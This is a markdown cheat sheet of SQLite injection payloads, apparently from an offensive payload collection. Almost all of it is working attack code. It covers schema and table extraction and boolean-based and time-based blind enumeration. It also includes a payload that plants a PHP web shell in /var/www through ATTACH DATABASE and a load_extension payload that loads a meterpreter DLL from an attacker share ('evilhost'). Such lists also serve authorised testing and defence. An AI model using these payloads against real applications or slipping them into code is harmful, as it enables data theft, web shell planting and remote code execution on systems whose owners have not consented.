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# SQLite Injection
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## Summary
* [SQLite comments ](#sqlite-comments )
* [SQLite version ](#sqlite-version )
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* [String based - Extract database structure ](#string-based---extract-database-structure )
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* [Integer/String based - Extract table name ](#integerstring-based---extract-table-name )
* [Integer/String based - Extract column name ](#integerstring-based---extract-column-name )
* [Boolean - Count number of tables ](#boolean---count-number-of-tables )
* [Boolean - Enumerating table name ](#boolean---enumerating-table-name )
* [Boolean - Extract info ](#boolean---extract-info )
* [Time based ](#time-based )
* [Remote Command Execution using SQLite command - Attach Database ](#remote-command-execution-using-sqlite-command---attach-database )
* [Remote Command Execution using SQLite command - Load_extension ](#remote-command-execution-using-sqlite-command---load_extension )
* [References ](#references )
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## SQLite comments
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```sql
--
/**/
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```
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## SQLite version
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```sql
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select sqlite_version();
```
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## String based - Extract database structure
```sql
SELECT sql FROM sqlite_schema
```
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## Integer/String based - Extract table name
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```sql
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SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
```
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Use limit X+1 offset X, to extract all tables.
## Integer/String based - Extract column name
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```sql
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SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='table_name'
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```
For a clean output
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```sql
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SELECT replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')%2b1)),instr((substr(sql,instr(sql,'(')%2b1)),'')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~') FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='table_name'
```
## Boolean - Count number of tables
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```sql
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and (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' ) < number_of_table
```
## Boolean - Enumerating table name
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```sql
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and (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name not like 'sqlite_%' limit 1 offset 0)=table_name_length_number
```
## Boolean - Extract info
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```sql
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and (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) > hex('some_char')
```
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## Time based
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```sql
AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
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```
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## Remote Command Execution using SQLite command - Attach Database
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```sql
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ATTACH DATABASE '/var/www/lol.php' AS lol;
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CREATE TABLE lol.pwn (dataz text);
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INSERT INTO lol.pwn (dataz) VALUES ("<?php system($_GET['cmd']); ?> ");--
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```
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## Remote Command Execution using SQLite command - Load_extension
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```sql
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UNION SELECT 1,load_extension('\\evilhost\evilshare\meterpreter.dll','DllMain');--
```
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Note: By default this component is disabled
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## References
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[Injecting SQLite database based application - Manish Kishan Tanwar ](https://www.exploit-db.com/docs/english/41397-injecting-sqlite-database-based-applications.pdf )